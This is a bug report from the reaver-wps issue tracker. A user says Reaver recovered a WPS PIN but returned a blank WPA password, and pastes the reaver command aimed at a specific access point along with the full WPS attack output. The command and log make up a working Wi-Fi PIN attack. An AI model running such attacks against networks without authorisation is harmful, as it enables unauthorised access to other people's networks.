Reaver cracks pin but password is blank

So i spent a while getting the pin and the password comes out blank. so i saved 
the pin and tried entering the pin in again and same issue. help?

root@root:~# reaver -i mon0 -b 00:1C:DF:68:A2:E6 -vv --pin 30775800

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner 
<cheffner@tacnetsol.com>

[+] Waiting for beacon from 00:1C:DF:68:A2:E6
[+] Switching mon0 to channel 6
[+] Associated with 00:1C:DF:68:A2:E6 (ESSID: Ecstasy's Magic)
[+] Trying pin 30775800
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received M5 message
[+] Sending M6 message
[+] Received M7 message
[+] Sending WSC NACK
[+] Sending WSC NACK
[+] Pin cracked in 3 seconds
[+] WPS PIN: '30775800'
[+] WPA PSK: ''
[+] AP SSID: 'Ecstasy's Magic'
[+] Nothing done, nothing to save.
root@root:~#

Original issue reported on code.google.com by kivi...@aol.com on 2 Jul 2012 at 6:46

Paramat770 / reaver-wps

Reaver cracks pin but password is blank #348